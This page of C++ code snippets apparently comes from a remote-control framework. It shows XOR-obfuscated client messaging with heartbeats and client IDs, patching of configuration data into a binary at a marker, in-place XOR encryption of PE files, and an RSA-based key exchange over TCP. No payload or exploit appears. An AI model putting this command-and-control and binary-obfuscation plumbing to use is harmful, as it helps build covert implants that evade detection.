Exemple #1
0
BOOL CommManager::SendAndRecv( COMM_NAME commName, ULONG targetIP, const LPBYTE pSendData, DWORD dwSendSize, ByteBuffer& recvData )
{
    if (NULL == m_commList[commName]) return FALSE;

    ByteBuffer sendBuffer;
    sendBuffer.Alloc(dwSendSize);
    XorFibonacciCrypt(pSendData, dwSendSize, (LPVOID)(LPBYTE)sendBuffer, 2, 7);

    LPBYTE pRecvData = NULL;
    DWORD dwRecvSize = 0;
    BOOL bRet = m_commList[commName]->SendAndRecv(targetIP, (LPBYTE)sendBuffer, dwSendSize, &pRecvData, dwRecvSize);

    if (! bRet)
    {
        errorLog(_T("send and recv[%d] failed"), commName);
        return FALSE;
    }

    if (dwRecvSize > 0)
    {
        bRet = TRUE;
        recvData.Alloc(dwRecvSize);
        XorFibonacciCrypt(pRecvData, dwRecvSize, (LPVOID)(LPBYTE)recvData, 2, 7);

        m_commList[commName]->FreeRecvData(pRecvData);
    }

    return bRet;
}
Exemple #2
0
static BOOL FindAndSet(LPBYTE pBase, DWORD dwSize, DWORD dwFlag, LPBYTE pData, DWORD dwDataSize, BOOL bEncrypt = FALSE, int factor1 = 0, int factor2 = 0)
{
	int count = 0;
	LPBYTE pTest = pBase;
	for (DWORD i = 0; i < dwSize - dwDataSize; i++, pTest++)
	{
		if (*(LPDWORD)pTest == dwFlag/* && *((LPDWORD)pTest + 1) == 0*/)
		{
			count++;
		}
	}
	if (count != 1)
	{
		CString errorMsg;
		errorMsg.Format(_T("定位%X特征失败,发现匹配个数 %d"), dwFlag, count);
		return FALSE;
	}

	for (DWORD i = 0; i < dwSize - dwDataSize; i++, pBase++)
	{
		if (*(LPDWORD)pBase == dwFlag /*&& *((LPDWORD)pBase + 1) == 0*/)
		{
			memcpy(pBase, pData, dwDataSize);
 			if (bEncrypt)
 			{
 				XorFibonacciCrypt(pBase, dwDataSize, pBase, factor1, factor2);
 			}
			return TRUE;
		}
	}

	return FALSE;
}
Exemple #3
0
BOOL XorEncryptFile(LPCTSTR lpszFilePath, UINT encryptSize,int key1 = 3 ,int key2 = 5)
{
	DWORD dwOutFileSize = 0;
	BOOL bRet = FALSE;
	LPBYTE lpFileContext = NULL;
	HANDLE hFile = CreateFile(lpszFilePath,GENERIC_WRITE | GENERIC_READ ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);

	if (hFile == INVALID_HANDLE_VALUE)
	{
		int nError = GetLastError();
		goto END;
	}
	int nFileSize = GetFileSize(hFile,0);
	nFileSize = min(nFileSize, encryptSize);

	lpFileContext = new BYTE[nFileSize];
	if (!lpszFilePath)
		goto END;

	if (!ReadFile(hFile,lpFileContext,nFileSize,&dwOutFileSize,NULL))
		goto END;

	if (dwOutFileSize != nFileSize)
		goto END;
	
	//检查PE是不是已经加密过

	char* head = "EW";

	if (memcmp(head,lpFileContext,2) == 0)
	{
		bRet = TRUE;
		goto END;
	}


	XorFibonacciCrypt(lpFileContext,nFileSize,lpFileContext,key1,key2);
	SetFilePointer(hFile,0,0,FILE_BEGIN);

	if(!WriteFile(hFile,lpFileContext,nFileSize,&dwOutFileSize,NULL))
		goto END;

	bRet = (dwOutFileSize == nFileSize);

END:
	if (lpFileContext)
	{
		delete lpFileContext;
	}
	if (hFile != INVALID_HANDLE_VALUE)
	{
		CloseHandle(hFile);
	}
	return bRet;
}
Exemple #4
0
BOOL CommManager::Send( COMM_NAME commName, ULONG targetIP, const LPBYTE pData, DWORD dwSize )
{
    if (NULL == m_commList[commName]) return FALSE;

    ByteBuffer buffer;
    buffer.Alloc(dwSize);

    XorFibonacciCrypt(pData, dwSize, (LPVOID)(LPBYTE)buffer, 2, 7);

    BOOL ret = m_commList[commName]->Send(targetIP, (LPBYTE)buffer, dwSize);

    return ret;
}
BOOL CommManager::HandleMessage( SOCKADDR_IN fromAddr, const LPBYTE pData, DWORD dwDataSize, COMM_NAME commName, CPGUID& cpguid )
{
	ByteBuffer dataBuffer;
	dataBuffer.Alloc(dwDataSize);
	if (! XorFibonacciCrypt(pData, dwDataSize, (LPBYTE)dataBuffer, 2, 7))
	{
		return FALSE;
	}

	BOOL bRet = m_cp.AddRecvPacket(dataBuffer, dataBuffer.Size(), commName, &cpguid);

	if (m_cp.HasReceivedMsg())
	{
		CPGUID from;
		ByteBuffer recvMsgData;
		if (m_cp.RecvMsg(recvMsgData, from))
		{
			//解析数据
			CommData recvCommdata;
			if (recvCommdata.Parse(recvMsgData, recvMsgData.Size()))
			{
				debugLog(_T("recv msg msgid[%I64u] serial[%I64u]"), recvCommdata.GetMsgID(), recvCommdata.GetSerialID());
				tstring clientid;
				CutupProtocol::CPGuid2Str(from, clientid);
				recvCommdata.SetClientID(clientid.c_str());

				SetMessageToAnswer(recvCommdata);

				HandleMsgByMsgHandler(recvCommdata.GetMsgID(), recvCommdata);
			}
			else
			{
				errorLog(_T("parse message failed"));
			}
		}
	}

	if (bRet)
	{
		//更新心跳数据
		tstring clientid;
		CutupProtocol::CPGuid2Str(cpguid, clientid);
		
		UpdateHeartbeat(clientid.c_str(), fromAddr);
	}

	return bRet;
}
BOOL CommManager::HandleMessageAndReply( SOCKADDR_IN fromAddr, const LPBYTE pData, DWORD dwDataSize, COMM_NAME commName, BOOL& bValidData, DWORD replyMaxDataSize, ByteBuffer& replyBuffer )
{
	CPGUID cpguid;
	bValidData = HandleMessage(fromAddr, pData, dwDataSize, commName, cpguid);
	if (! bValidData)
	{
		return FALSE;
	}

	//找到需要发送的消息
	ByteBuffer toSendData;
	if (! m_cp.GetMessageToSendById(cpguid, replyMaxDataSize, toSendData))
	{
		m_cp.CreateEmptyPacket(toSendData);
	}
	
	replyBuffer.Alloc(toSendData.Size());
	BOOL bEncryptOK = XorFibonacciCrypt((LPBYTE)toSendData, toSendData.Size(), (LPBYTE)replyBuffer, 2, 7);

	return bEncryptOK;
}
Exemple #7
0
void CTcp::WorkerProc(LPVOID lpParameter)
{
	ARGV_LIST *argv = (ARGV_LIST*)lpParameter;

	TCP_HEADER header;

	MySocket socket(argv->s,TRUE);

	BOOL ret = TRUE;
	
	ByteBuffer toSender;

	do 
	{
		if (m_isSecure)
		{
			int key1 = 0;
			int key2 = 0;

			int flag = TCP_FLAG;

			socket.ReceiveAll(&flag,sizeof(int));

			if(flag != TCP_FLAG )
				break;

			socket.SendAll(&m_myPubKey,sizeof(RSA::RSA_PUBLIC_KEY));
			socket.ReceiveAll(&key1,sizeof(int));
			socket.ReceiveAll(&key2,sizeof(int));

			RSA::RSADecrypt((char*)&m_xorKey1,&key1,m_myPriKey.e,m_myPriKey.n,1);
			RSA::RSADecrypt((char*)&m_xorKey2,&key2,m_myPriKey.e,m_myPriKey.n,1);
		}
		
		while(ret)
		{
			ret = socket.ReceiveAll(&header,sizeof(TCP_HEADER));
			if (ret && header.flag == TCP_FLAG)
			{
				LPBYTE lpData = (LPBYTE)malloc(header.nSize);

				ret = socket.ReceiveAll(lpData,header.nSize);

				if (m_isSecure)
					XorFibonacciCrypt(lpData,header.nSize,lpData,m_xorKey1,m_xorKey2);

				if ( ret )
				{
					if (argv->handler(lpData,header.nSize,argv->sin,toSender))
					{
						header.nSize = toSender.Size();
						socket.SendAll(&header,sizeof(TCP_HEADER));

						if (m_isSecure)
							XorFibonacciCrypt(toSender,toSender.Size(),toSender,m_xorKey1,m_xorKey2);

						socket.SendAll(toSender,toSender.Size());
					}

				}
				free(lpData);
			}
			else
			{
				break;
			}
		}

	} while (FALSE);

	socket.Close();

	delete lpParameter;
}